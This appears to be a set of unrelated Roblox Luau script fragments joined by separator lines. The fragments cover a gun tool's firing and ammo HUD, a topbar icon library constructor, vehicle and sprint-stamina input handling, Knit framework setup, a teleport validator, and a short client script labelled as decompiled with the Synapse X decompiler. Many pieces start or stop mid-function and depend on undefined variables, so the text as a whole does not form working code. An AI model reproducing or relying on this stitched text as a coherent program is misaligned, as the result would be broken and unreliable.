WeaponGui.Crosshair.Hit:Play()
--bullet.Transparency = 1
end
Spawn(UpdateTargetHit)
end
end
end
AmmoInClip = AmmoInClip - 1
UpdateAmmo(AmmoInClip)
end
wait(FireRate)
end
Handle.Flash.Enabled = false
IsShooting = false
flare.MuzzleFlash.Enabled = false
--Handle.Smoke.Enabled=false --This is optional
if AmmoInClip == 0 then
Handle.Tick:Play()
--WeaponGui.Reload.Visible = true
Reload()
end
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
local TargetHits = 0
function UpdateTargetHit()
TargetHits = TargetHits + 1
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = true
end
wait(0.5)
TargetHits = TargetHits - 1
if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = false
end
end
function UpdateCrosshair(value, mouse)
if WeaponGui then
local absoluteY = 650
WeaponGui.Crosshair:TweenSize(
UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
0.33)
end
end
function UpdateAmmo(value)
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then
WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = false
end
end
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then
WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
end
end
function OnMouseDown()
LeftButtonDown = true
OnFire()
end
function OnMouseUp()
LeftButtonDown = false
end
function OnKeyDown(key)
if string.lower(key) == 'r' then
Reload()
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
function OnEquipped(mouse)
Handle.EquipSound:Play()
Handle.EquipSound2:Play()
Handle.UnequipSound:Stop()
RecoilAnim = WaitForChild(Tool, 'Recoil')
ReloadAnim = WaitForChild(Tool, 'Reload')
FireSound = WaitForChild(Handle, 'FireSound')
MyCharacter = Tool.Parent
MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyTorso = MyCharacter:FindFirstChild('Torso')
MyMouse = mouse
WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone()
if WeaponGui and MyPlayer then
WeaponGui.Parent = MyPlayer.PlayerGui
UpdateAmmo(AmmoInClip)
end
if RecoilAnim then
RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
end
if ReloadAnim then
ReloadTrack = MyHumanoid:LoadAnimation(ReloadAnim)
end
if MyMouse then
-- Disable mouse icon
MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154"
MyMouse.Button1Down:connect(OnMouseDown)
MyMouse.Button1Up:connect(OnMouseUp)
MyMouse.KeyDown:connect(OnKeyDown)
end
end
|
--bullet data
|
local settingfolder = tool:WaitForChild("settings")
local bchambered = settingfolder:WaitForChild("bchambered")
local binmag = settingfolder:WaitForChild("inmag")
local gunspeed = settingfolder:WaitForChild("speed")
local magleft = settingfolder:WaitForChild("magleft")
|
-- CONSTRUCTORS
|
function Icon.new()
local self = {}
setmetatable(self, Icon)
-- Maids (for autocleanup)
local maid = Maid.new()
self._maid = maid
self._hoveringMaid = maid:give(Maid.new())
self._dropdownClippingMaid = maid:give(Maid.new())
self._menuClippingMaid = maid:give(Maid.new())
-- These are the GuiObjects that make up the icon
local instances = {}
self.instances = instances
local iconContainer = maid:give(iconTemplate:Clone())
iconContainer.Visible = true
iconContainer.Parent = topbarContainer
instances["iconContainer"] = iconContainer
instances["iconButton"] = iconContainer.IconButton
instances["iconImage"] = instances.iconButton.IconImage
instances["iconLabel"] = instances.iconButton.IconLabel
instances["fakeIconLabel"] = instances.iconButton.FakeIconLabel
instances["iconGradient"] = instances.iconButton.IconGradient
instances["iconCorner"] = instances.iconButton.IconCorner
instances["iconOverlay"] = iconContainer.IconOverlay
instances["iconOverlayCorner"] = instances.iconOverlay.IconOverlayCorner
instances["noticeFrame"] = instances.iconButton.NoticeFrame
instances["noticeLabel"] = instances.noticeFrame.NoticeLabel
instances["captionContainer"] = iconContainer.CaptionContainer
instances["captionFrame"] = instances.captionContainer.CaptionFrame
instances["captionLabel"] = instances.captionContainer.CaptionLabel
instances["captionCorner"] = instances.captionFrame.CaptionCorner
instances["captionOverlineContainer"] = instances.captionContainer.CaptionOverlineContainer
instances["captionOverline"] = instances.captionOverlineContainer.CaptionOverline
instances["captionOverlineCorner"] = instances.captionOverline.CaptionOverlineCorner
instances["captionVisibilityBlocker"] = instances.captionFrame.CaptionVisibilityBlocker
instances["captionVisibilityCorner"] = instances.captionVisibilityBlocker.CaptionVisibilityCorner
instances["tipFrame"] = iconContainer.TipFrame
instances["tipLabel"] = instances.tipFrame.TipLabel
instances["tipCorner"] = instances.tipFrame.TipCorner
instances["dropdownContainer"] = iconContainer.DropdownContainer
instances["dropdownFrame"] = instances.dropdownContainer.DropdownFrame
instances["dropdownList"] = instances.dropdownFrame.DropdownList
instances["menuContainer"] = iconContainer.MenuContainer
instances["menuFrame"] = instances.menuContainer.MenuFrame
instances["menuList"] = instances.menuFrame.MenuList
instances["clickSound"] = iconContainer.ClickSound
-- These determine and describe how instances behave and appear
self._settings = {
action = {
["toggleTransitionInfo"] = {},
["resizeInfo"] = {},
["repositionInfo"] = {},
["captionFadeInfo"] = {},
["tipFadeInfo"] = {},
["dropdownSlideInfo"] = {},
["menuSlideInfo"] = {},
},
toggleable = {
["iconBackgroundColor"] = {instanceNames = {"iconButton"}, propertyName = "BackgroundColor3"},
["iconBackgroundTransparency"] = {instanceNames = {"iconButton"}, propertyName = "BackgroundTransparency"},
["iconCornerRadius"] = {instanceNames = {"iconCorner", "iconOverlayCorner"}, propertyName = "CornerRadius"},
["iconGradientColor"] = {instanceNames = {"iconGradient"}, propertyName = "Color"},
["iconGradientRotation"] = {instanceNames = {"iconGradient"}, propertyName = "Rotation"},
["iconImage"] = {callMethods = {self._updateIconSize}, instanceNames = {"iconImage"}, propertyName = "Image"},
["iconImageColor"] = {instanceNames = {"iconImage"}, propertyName = "ImageColor3"},
["iconImageTransparency"] = {instanceNames = {"iconImage"}, propertyName = "ImageTransparency"},
["iconScale"] = {instanceNames = {"iconButton"}, propertyName = "Size"},
["forcedIconSizeX"] = {},
["forcedIconSizeY"] = {},
["iconSize"] = {callSignals = {self.updated}, callMethods = {self._updateIconSize}, instanceNames = {"iconContainer"}, propertyName = "Size", tweenAction = "resizeInfo"},
["iconOffset"] = {instanceNames = {"iconButton"}, propertyName = "Position"},
["iconText"] = {callMethods = {self._updateIconSize}, instanceNames = {"iconLabel"}, propertyName = "Text"},
["iconTextColor"] = {instanceNames = {"iconLabel"}, propertyName = "TextColor3"},
["iconFont"] = {callMethods = {self._updateIconSize}, instanceNames = {"iconLabel"}, propertyName = "Font"},
["iconImageYScale"] = {callMethods = {self._updateIconSize}},
["iconImageRatio"] = {callMethods = {self._updateIconSize}},
["iconLabelYScale"] = {callMethods = {self._updateIconSize}},
["noticeCircleColor"] = {instanceNames = {"noticeFrame"}, propertyName = "ImageColor3"},
["noticeCircleImage"] = {instanceNames = {"noticeFrame"}, propertyName = "Image"},
["noticeTextColor"] = {instanceNames = {"noticeLabel"}, propertyName = "TextColor3"},
["noticeImageTransparency"] = {instanceNames = {"noticeFrame"}, propertyName = "ImageTransparency"},
["noticeTextTransparency"] = {instanceNames = {"noticeLabel"}, propertyName = "TextTransparency"},
["baseZIndex"] = {callMethods = {self._updateBaseZIndex}},
["order"] = {callSignals = {self.updated}, instanceNames = {"iconContainer"}, propertyName = "LayoutOrder"},
["alignment"] = {callSignals = {self.updated}, callMethods = {self._updateDropdown}},
["iconImageVisible"] = {instanceNames = {"iconImage"}, propertyName = "Visible"},
["iconImageAnchorPoint"] = {instanceNames = {"iconImage"}, propertyName = "AnchorPoint"},
["iconImagePosition"] = {instanceNames = {"iconImage"}, propertyName = "Position", tweenAction = "resizeInfo"},
["iconImageSize"] = {instanceNames = {"iconImage"}, propertyName = "Size", tweenAction = "resizeInfo"},
["iconImageTextXAlignment"] = {instanceNames = {"iconImage"}, propertyName = "TextXAlignment"},
["iconLabelVisible"] = {instanceNames = {"iconLabel"}, propertyName = "Visible"},
["iconLabelAnchorPoint"] = {instanceNames = {"iconLabel"}, propertyName = "AnchorPoint"},
["iconLabelPosition"] = {instanceNames = {"iconLabel"}, propertyName = "Position", tweenAction = "resizeInfo"},
["iconLabelSize"] = {instanceNames = {"iconLabel"}, propertyName = "Size", tweenAction = "resizeInfo"},
["iconLabelTextXAlignment"] = {instanceNames = {"iconLabel"}, propertyName = "TextXAlignment"},
["iconLabelTextSize"] = {instanceNames = {"iconLabel"}, propertyName = "TextSize"},
["noticeFramePosition"] = {instanceNames = {"noticeFrame"}, propertyName = "Position"},
["clickSoundId"] = {instanceNames = {"clickSound"}, propertyName = "SoundId"},
["clickVolume"] = {instanceNames = {"clickSound"}, propertyName = "Volume"},
["clickPlaybackSpeed"] = {instanceNames = {"clickSound"}, propertyName = "PlaybackSpeed"},
["clickTimePosition"] = {instanceNames = {"clickSound"}, propertyName = "TimePosition"},
},
other = {
["captionBackgroundColor"] = {instanceNames = {"captionFrame"}, propertyName = "BackgroundColor3"},
["captionBackgroundTransparency"] = {instanceNames = {"captionFrame"}, propertyName = "BackgroundTransparency", group = "caption"},
["captionBlockerTransparency"] = {instanceNames = {"captionVisibilityBlocker"}, propertyName = "BackgroundTransparency", group = "caption"},
["captionOverlineColor"] = {instanceNames = {"captionOverline"}, propertyName = "BackgroundColor3"},
["captionOverlineTransparency"] = {instanceNames = {"captionOverline"}, propertyName = "BackgroundTransparency", group = "caption"},
["captionTextColor"] = {instanceNames = {"captionLabel"}, propertyName = "TextColor3"},
["captionTextTransparency"] = {instanceNames = {"captionLabel"}, propertyName = "TextTransparency", group = "caption"},
["captionFont"] = {instanceNames = {"captionLabel"}, propertyName = "Font"},
["captionCornerRadius"] = {instanceNames = {"captionCorner", "captionOverlineCorner", "captionVisibilityCorner"}, propertyName = "CornerRadius"},
["tipBackgroundColor"] = {instanceNames = {"tipFrame"}, propertyName = "BackgroundColor3"},
["tipBackgroundTransparency"] = {instanceNames = {"tipFrame"}, propertyName = "BackgroundTransparency", group = "tip"},
["tipTextColor"] = {instanceNames = {"tipLabel"}, propertyName = "TextColor3"},
["tipTextTransparency"] = {instanceNames = {"tipLabel"}, propertyName = "TextTransparency", group = "tip"},
["tipFont"] = {instanceNames = {"tipLabel"}, propertyName = "Font"},
["tipCornerRadius"] = {instanceNames = {"tipCorner"}, propertyName = "CornerRadius"},
["dropdownSize"] = {instanceNames = {"dropdownContainer"}, propertyName = "Size", unique = "dropdown"},
["dropdownCanvasSize"] = {instanceNames = {"dropdownFrame"}, propertyName = "CanvasSize"},
["dropdownMaxIconsBeforeScroll"] = {callMethods = {self._updateDropdown}},
["dropdownMinWidth"] = {callMethods = {self._updateDropdown}},
["dropdownSquareCorners"] = {callMethods = {self._updateDropdown}},
["dropdownBindToggleToIcon"] = {},
["dropdownToggleOnLongPress"] = {},
["dropdownToggleOnRightClick"] = {},
["dropdownCloseOnTapAway"] = {},
["dropdownHidePlayerlistOnOverlap"] = {},
["dropdownListPadding"] = {callMethods = {self._updateDropdown}, instanceNames = {"dropdownList"}, propertyName = "Padding"},
["dropdownAlignment"] = {callMethods = {self._updateDropdown}},
["dropdownScrollBarColor"] = {instanceNames = {"dropdownFrame"}, propertyName = "ScrollBarImageColor3"},
["dropdownScrollBarTransparency"] = {instanceNames = {"dropdownFrame"}, propertyName = "ScrollBarImageTransparency"},
["dropdownScrollBarThickness"] = {instanceNames = {"dropdownFrame"}, propertyName = "ScrollBarThickness"},
["dropdownIgnoreClipping"] = {callMethods = {self._dropdownIgnoreClipping}},
["menuSize"] = {instanceNames = {"menuContainer"}, propertyName = "Size", unique = "menu"},
["menuCanvasSize"] = {instanceNames = {"menuFrame"}, propertyName = "CanvasSize"},
["menuMaxIconsBeforeScroll"] = {callMethods = {self._updateMenu}},
["menuBindToggleToIcon"] = {},
["menuToggleOnLongPress"] = {},
["menuToggleOnRightClick"] = {},
["menuCloseOnTapAway"] = {},
["menuListPadding"] = {callMethods = {self._updateMenu}, instanceNames = {"menuList"}, propertyName = "Padding"},
["menuDirection"] = {callMethods = {self._updateMenu}},
["menuScrollBarColor"] = {instanceNames = {"menuFrame"}, propertyName = "ScrollBarImageColor3"},
["menuScrollBarTransparency"] = {instanceNames = {"menuFrame"}, propertyName = "ScrollBarImageTransparency"},
["menuScrollBarThickness"] = {instanceNames = {"menuFrame"}, propertyName = "ScrollBarThickness"},
["menuIgnoreClipping"] = {callMethods = {self._menuIgnoreClipping}},
}
}
---------------------------------
self._groupSettings = {}
for _, settingsDetails in pairs(self._settings) do
for settingName, settingDetail in pairs(settingsDetails) do
local group = settingDetail.group
if group then
local groupSettings = self._groupSettings[group]
if not groupSettings then
groupSettings = {}
self._groupSettings[group] = groupSettings
end
table.insert(groupSettings, settingName)
settingDetail.forcedGroupValue = DEFAULT_FORCED_GROUP_VALUES[group]
settingDetail.useForcedGroupValue = true
end
end
end
---------------------------------
-- The setting values themselves will be set within _settings
-- Setup a dictionary to make it quick and easy to reference setting by name
self._settingsDictionary = {}
-- Some instances require unique behaviours. These are defined with the 'unique' key
-- for instance, we only want caption transparency effects to be applied on hovering
self._uniqueSettings = {}
self._uniqueSettingsDictionary = {}
self.uniqueValues = {}
local uniqueBehaviours = {
["dropdown"] = function(settingName, instance, propertyName, value)
local tweenInfo = self:get("dropdownSlideInfo")
local bindToggleToIcon = self:get("dropdownBindToggleToIcon")
local hidePlayerlist = self:get("dropdownHidePlayerlistOnOverlap") == true and self:get("alignment") == "right"
local dropdownContainer = self.instances.dropdownContainer
local dropdownFrame = self.instances.dropdownFrame
local newValue = value
local isOpen = true
local isDeselected = not self.isSelected
if bindToggleToIcon == false then
isDeselected = not self.dropdownOpen
end
local isSpecialPressing = self._longPressing or self._rightClicking
if self._tappingAway or (isDeselected and not isSpecialPressing) or (isSpecialPressing and self.dropdownOpen) then
local dropdownSize = self:get("dropdownSize")
local XOffset = (dropdownSize and dropdownSize.X.Offset/1) or 0
newValue = UDim2.new(0, XOffset, 0, 0)
isOpen = false
end
-- if #self.dropdownIcons > 0 and isOpen and hidePlayerlist and self._parentIcon == nil and self._bringBackPlayerlist == nil then
if #self.dropdownIcons > 0 and isOpen and hidePlayerlist then
if starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList) then
IconController._bringBackPlayerlist = (IconController._bringBackPlayerlist and IconController._bringBackPlayerlist + 1) or 1
self._bringBackPlayerlist = true
starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false)
end
elseif self._bringBackPlayerlist and not isOpen and IconController._bringBackPlayerlist then
IconController._bringBackPlayerlist -= 1
if IconController._bringBackPlayerlist <= 0 then
IconController._bringBackPlayerlist = nil
starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, true)
end
self._bringBackPlayerlist = nil
end
local tween = tweenService:Create(instance, tweenInfo, {[propertyName] = newValue})
local connection
connection = tween.Completed:Connect(function()
connection:Disconnect()
--dropdownContainer.ClipsDescendants = not self.dropdownOpen
end)
tween:Play()
if isOpen then
--dropdownFrame.CanvasPosition = self._dropdownCanvasPos
else
self._dropdownCanvasPos = dropdownFrame.CanvasPosition
end
dropdownFrame.ScrollingEnabled = isOpen -- It's important scrolling is only enabled when the dropdown is visible otherwise it could block the scrolling behaviour of other icons
self.dropdownOpen = isOpen
self:_decideToCallSignal("dropdown")
end,
["menu"] = function(settingName, instance, propertyName, value)
local tweenInfo = self:get("menuSlideInfo")
local bindToggleToIcon = self:get("menuBindToggleToIcon")
local menuContainer = self.instances.menuContainer
local menuFrame = self.instances.menuFrame
local newValue = value
local isOpen = true
local isDeselected = not self.isSelected
if bindToggleToIcon == false then
isDeselected = not self.menuOpen
end
local isSpecialPressing = self._longPressing or self._rightClicking
if self._tappingAway or (isDeselected and not isSpecialPressing) or (isSpecialPressing and self.menuOpen) then
local menuSize = self:get("menuSize")
local YOffset = (menuSize and menuSize.Y.Offset/1) or 0
newValue = UDim2.new(0, 0, 0, YOffset)
isOpen = false
end
if isOpen ~= self.menuOpen then
self.updated:Fire()
end
if isOpen and tweenInfo.EasingDirection == Enum.EasingDirection.Out then
tweenInfo = TweenInfo.new(tweenInfo.Time, tweenInfo.EasingStyle, Enum.EasingDirection.In)
end
local tween = tweenService:Create(instance, tweenInfo, {[propertyName] = newValue})
local connection
connection = tween.Completed:Connect(function()
connection:Disconnect()
--menuContainer.ClipsDescendants = not self.menuOpen
end)
tween:Play()
if isOpen then
if self._menuCanvasPos then
menuFrame.CanvasPosition = self._menuCanvasPos
end
else
self._menuCanvasPos = menuFrame.CanvasPosition
end
menuFrame.ScrollingEnabled = isOpen -- It's important scrolling is only enabled when the menu is visible otherwise it could block the scrolling behaviour of other icons
self.menuOpen = isOpen
self:_decideToCallSignal("menu")
end,
}
for settingsType, settingsDetails in pairs(self._settings) do
for settingName, settingDetail in pairs(settingsDetails) do
if settingsType == "toggleable" then
settingDetail.values = settingDetail.values or {
deselected = nil,
selected = nil,
}
else
settingDetail.value = nil
end
settingDetail.additionalValues = {}
settingDetail.type = settingsType
self._settingsDictionary[settingName] = settingDetail
--
local uniqueCat = settingDetail.unique
if uniqueCat then
local uniqueCatArray = self._uniqueSettings[uniqueCat] or {}
table.insert(uniqueCatArray, settingName)
self._uniqueSettings[uniqueCat] = uniqueCatArray
self._uniqueSettingsDictionary[settingName] = uniqueBehaviours[uniqueCat]
end
--
end
end
-- Signals (events)
self.updated = maid:give(Signal.new())
self.selected = maid:give(Signal.new())
self.deselected = maid:give(Signal.new())
self.toggled = maid:give(Signal.new())
self.userSelected = maid:give(Signal.new())
self.userDeselected = maid:give(Signal.new())
self.userToggled = maid:give(Signal.new())
self.hoverStarted = maid:give(Signal.new())
self.hoverEnded = maid:give(Signal.new())
self.dropdownOpened = maid:give(Signal.new())
self.dropdownClosed = maid:give(Signal.new())
self.menuOpened = maid:give(Signal.new())
self.menuClosed = maid:give(Signal.new())
self.notified = maid:give(Signal.new())
self._endNotices = maid:give(Signal.new())
self._ignoreClippingChanged = maid:give(Signal.new())
-- Connections
-- This enables us to chain icons and features like menus and dropdowns together without them being hidden by parent frame with ClipsDescendants enabled
local function setFeatureChange(featureName, value)
local parentIcon = self._parentIcon
self:set(featureName.."IgnoreClipping", value)
if value == true and parentIcon then
local connection = parentIcon._ignoreClippingChanged:Connect(function(_, value)
self:set(featureName.."IgnoreClipping", value)
end)
local endConnection
endConnection = self[featureName.."Closed"]:Connect(function()
endConnection:Disconnect()
connection:Disconnect()
end)
end
end
self.dropdownOpened:Connect(function()
setFeatureChange("dropdown", true)
end)
self.dropdownClosed:Connect(function()
setFeatureChange("dropdown", false)
end)
self.menuOpened:Connect(function()
setFeatureChange("menu", true)
end)
self.menuClosed:Connect(function()
setFeatureChange("menu", false)
end)
--]]
-- Properties
self.deselectWhenOtherIconSelected = true
self.name = ""
self.isSelected = false
self.presentOnTopbar = true
self.accountForWhenDisabled = false
self.enabled = true
self.hovering = false
self.tipText = nil
self.captionText = nil
self.totalNotices = 0
self.notices = {}
self.dropdownIcons = {}
self.menuIcons = {}
self.dropdownOpen = false
self.menuOpen = false
self.locked = false
self.topPadding = UDim.new(0, 4)
self.targetPosition = nil
self.toggleItems = {}
self.lockedSettings = {}
self.UID = httpService:GenerateGUID(true)
self.blockBackBehaviourChecks = {}
-- Private Properties
self._draggingFinger = false
self._updatingIconSize = true
self._previousDropdownOpen = false
self._previousMenuOpen = false
self._bindedToggleKeys = {}
self._bindedEvents = {}
-- Apply start values
self:setName("UnnamedIcon")
self:setTheme(DEFAULT_THEME, true)
-- Input handlers
-- Calls deselect/select when the icon is clicked
--[[instances.iconButton.MouseButton1Click:Connect(function()
if self.locked then return end
if self._draggingFinger then
return false
elseif self.isSelected then
self:deselect()
return true
end
self:select()
end)--]]
instances.iconButton.MouseButton1Click:Connect(function()
if self.locked then return end
if self.isSelected then
self:deselect()
self.userDeselected:Fire()
self.userToggled:Fire(false)
return true
end
self:select()
self.userSelected:Fire()
self.userToggled:Fire(true)
end)
instances.iconButton.MouseButton2Click:Connect(function()
self._rightClicking = true
if self:get("dropdownToggleOnRightClick") == true then
self:_update("dropdownSize")
end
if self:get("menuToggleOnRightClick") == true then
self:_update("menuSize")
end
self._rightClicking = false
end)
-- Shows/hides the dark overlay when the icon is presssed/released
instances.iconButton.MouseButton1Down:Connect(function()
if self.locked then return end
self:_updateStateOverlay(0.7, Color3.new(0, 0, 0))
end)
instances.iconButton.MouseButton1Up:Connect(function()
if self.overlayLocked then return end
self:_updateStateOverlay(0.9, Color3.new(1, 1, 1))
end)
-- Tap away + KeyCode toggles
userInputService.InputBegan:Connect(function(input, touchingAnObject)
local validTapAwayInputs = {
[Enum.UserInputType.MouseButton1] = true,
[Enum.UserInputType.MouseButton2] = true,
[Enum.UserInputType.MouseButton3] = true,
[Enum.UserInputType.Touch] = true,
}
if not touchingAnObject and validTapAwayInputs[input.UserInputType] then
self._tappingAway = true
if self.dropdownOpen and self:get("dropdownCloseOnTapAway") == true then
self:_update("dropdownSize")
end
if self.menuOpen and self:get("menuCloseOnTapAway") == true then
self:_update("menuSize")
end
self._tappingAway = false
end
--
if self._bindedToggleKeys[input.KeyCode] and not touchingAnObject and not self.locked then
if self.isSelected then
self:deselect()
self.userDeselected:Fire()
self.userToggled:Fire(false)
else
self:select()
self.userSelected:Fire()
self.userToggled:Fire(true)
end
end
--
end)
-- hoverStarted and hoverEnded triggers and actions
-- these are triggered when a mouse enters/leaves the icon with a mouse, is highlighted with
-- a controller selection box, or dragged over with a touchpad
self.hoverStarted:Connect(function(x, y)
self.hovering = true
if not self.locked then
self:_updateStateOverlay(0.9, Color3.fromRGB(255, 255, 255))
end
self:_updateHovering()
end)
self.hoverEnded:Connect(function()
self.hovering = false
self:_updateStateOverlay(1)
self._hoveringMaid:clean()
self:_updateHovering()
end)
instances.iconButton.MouseEnter:Connect(function(x, y) -- Mouse (started)
self.hoverStarted:Fire(x, y)
end)
instances.iconButton.MouseLeave:Connect(function() -- Mouse (ended)
self.hoverEnded:Fire()
end)
instances.iconButton.SelectionGained:Connect(function() -- Controller (started)
self.hoverStarted:Fire()
end)
instances.iconButton.SelectionLost:Connect(function() -- Controller (ended)
self.hoverEnded:Fire()
end)
instances.iconButton.MouseButton1Down:Connect(function() -- TouchPad (started)
if self._draggingFinger then
self.hoverStarted:Fire()
end
-- Long press check
local heartbeatConnection
local releaseConnection
local longPressTime = 0.7
local endTick = tick() + longPressTime
heartbeatConnection = runService.Heartbeat:Connect(function()
if tick() >= endTick then
releaseConnection:Disconnect()
heartbeatConnection:Disconnect()
self._longPressing = true
if self:get("dropdownToggleOnLongPress") == true then
self:_update("dropdownSize")
end
if self:get("menuToggleOnLongPress") == true then
self:_update("menuSize")
end
self._longPressing = false
end
end)
releaseConnection = instances.iconButton.MouseButton1Up:Connect(function()
releaseConnection:Disconnect()
heartbeatConnection:Disconnect()
end)
end)
if userInputService.TouchEnabled then
instances.iconButton.MouseButton1Up:Connect(function() -- TouchPad (ended), this was originally enabled for non-touchpads too
if self.hovering then
self.hoverEnded:Fire()
end
end)
-- This is used to highlight when a mobile/touch device is dragging their finger accross the screen
-- this is important for determining the hoverStarted and hoverEnded events on mobile
local dragCount = 0
userInputService.TouchMoved:Connect(function(touch, touchingAnObject)
if touchingAnObject then
return
end
self._draggingFinger = true
end)
userInputService.TouchEnded:Connect(function()
self._draggingFinger = false
end)
end
-- Finish
self._updatingIconSize = false
self:_updateIconSize()
IconController.iconAdded:Fire(self)
return self
end
|
--Interpret input
|
local function getInputValues()
if UserInputService:GetLastInputType() ~= Enum.UserInputType.Touch then
---Let the control module handle all none-touch controls
script.Steering.Value = SteerLeftValue - SteerRightValue
script.Throttle.Value = ThrottleValue - BrakeValue
script.HandBrake.Value = HandBrakeValue
else --The vehicle gui handles all the touch controls
script.Throttle.Value = VehicleGui.throttleInput
script.Steering.Value = VehicleGui.steeringInput
script.HandBrake.Value = VehicleGui.handBrakeInput
end
end
|
--// Set up
|
for L_18_forvar1, L_19_forvar2 in pairs(game.Players:GetChildren()) do
if L_19_forvar2:IsA('Player') and L_19_forvar2.Character and L_19_forvar2.Character:FindFirstChild('Head') ~= nil and L_19_forvar2.Character.Humanoid and L_19_forvar2.Character.Humanoid.Health > 0 then
if L_19_forvar2.TeamColor == L_1_.TeamColor then
if L_19_forvar2.Character:WaitForChild("Saude"):WaitForChild("FireTeam").SquadName.Value ~= '' then
spawnTag(L_19_forvar2.Character, L_19_forvar2.Character:WaitForChild("Saude"):WaitForChild("FireTeam").SquadColor.Value)
else
spawnTag(L_19_forvar2.Character, Color3.fromRGB(255,255,255))
end
end;
end;
end
|
--]
|
isRunning = false --Is the character running?
isExhuasted = false --Is the character exhausted?
player = game.Players.LocalPlayer --The player
staminaGui.Parent = player.PlayerGui --Sets the stamina Gui's parent to the playerGui (therefore making it visible)
UserInputService.InputBegan:Connect(function(input)
local character = game.Workspace:WaitForChild(player.Name)
if input.KeyCode == Enum.KeyCode.LeftShift then
if stamina >= minStaminaToRun then
if isExhuasted == false then
isRunning = true
character.Humanoid.WalkSpeed = runSpeed
RunService.RenderStepped:Connect(function()
if isExhuasted == true then
isRunning = false
character.Humanoid.WalkSpeed = defaultWalkSpeed
end
end)
else
isRunning = false
character.Humanoid.WalkSpeed = defaultWalkSpeed
end
end
end
end)
UserInputService.InputEnded:Connect(function(input)
local character = game.Workspace:WaitForChild(player.Name)
if input.KeyCode == Enum.KeyCode.LeftShift then
isRunning = false
character.Humanoid.WalkSpeed = defaultWalkSpeed
end
end)
RunService.RenderStepped:Connect(function()
if stamina > 0 then
isExhuasted = false
else
isExhuasted = true
isRunning = false
end
staminaGui.StaminaFrame.Bar.Size = UDim2.new(stamina / maxStamina, 0, 1, 0)
staminaGui.StaminaFrame.StaminaLabel.Text = "Stamina: "..stamina.."/"..maxStamina
end)
while wait(1) do
if isRunning == true then
stamina -= staminaPerSecond
else
if stamina < maxStamina then
stamina += staminaRegenPerSecond
end
end
end
|
-- warn(rayResult)
|
end
-- варианты приоритета для целей:
-- ближний/дальний к турели/кристалу
-- сильный/слабый
-- земля/воздух
-- случайный
end
end
end
end
end
return target, rayResult
end
|
--[[
Fired when Game is entered, throwing out a player state update, as well as transitioning the player state
]]
|
function Transitions.onEnterGame(stateMachine, event, from, to, playerComponent)
Logger.trace(playerComponent.player.Name, " state change: ", from, " -> ", to)
playerComponent:updateStatus("currentState", to)
PlayerGame.enter(stateMachine, playerComponent)
end
|
-- Custom validation function that can be replaced by the developer
|
function TeleportToPlayer.validate(
_playerToTeleport: Player,
_destinationPlayer: Player,
_teleportPoint: CFrame
): boolean
return true
end
function TeleportToPlayer.setTeleportationValidator(newValidator)
assert(typeof(newValidator) == "function", "setTeleportationValidator expects a function as its first argument")
TeleportToPlayer.validate = newValidator
end
return TeleportToPlayer
|
--[=[
@prop Util Folder
@within KnitServer
@readonly
References the Util folder. Should only be accessed when using Knit as
a standalone module. If using Knit from Wally, modules should just be
pulled in via Wally instead of relying on Knit's Util folder, as this
folder only contains what is necessary for Knit to run in Wally mode.
]=]
|
KnitServer.Util = script.Parent.Parent
local SIGNAL_MARKER = newproxy(true)
getmetatable(SIGNAL_MARKER).__tostring = function()
return "SIGNAL_MARKER"
end
local PROPERTY_MARKER = newproxy(true)
getmetatable(PROPERTY_MARKER).__tostring = function()
return "PROPERTY_MARKER"
end
local knitRepServiceFolder = Instance.new("Folder")
knitRepServiceFolder.Name = "Services"
local Promise = require(KnitServer.Util.Promise)
local Comm = require(KnitServer.Util.Comm)
local ServerComm = Comm.ServerComm
local services: { [string]: Service } = {}
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")
local function DoesServiceExist(serviceName: string): boolean
local service: Service? = services[serviceName]
return service ~= nil
end
|
-- Colors
|
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor = Color3.new(1, 0, 0)
local NeutralReticleColor = Color3.new(1, 1, 1)
local Spread = MinSpread
local AmmoInClip = ClipSize
local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local Barrel = WaitForChild(Tool, 'Flare')
local WeaponGui = nil
local LeftButtonDown
local Reloading = false
local IsShooting = false
local Pitch = script.Parent.Handle.FireSound
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local v4 = game["Run Service"];
local l__TweenService__5 = game:GetService("TweenService");
local l__UserInputService__6 = game:GetService("UserInputService");
local l__WarningScreen__7 = script.Parent:WaitForChild("WarningScreen");
l__WarningScreen__7.Visible = true;
local v8 = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
wait(0.5);
if not game:IsLoaded() then
game.Loaded:Wait();
end;
wait(2);
l__UserInputService__6.InputChanged:Wait();
local u1 = false;
l__TweenService__5:Create(l__WarningScreen__7.Continue, v8, {
Size = UDim2.new(1, 0, 0.15, 0)
}):Play();
wait(0.5);
l__TweenService__5:Create(l__WarningScreen__7.Continue, v8, {
TextTransparency = 0
}):Play();
wait(0.5);
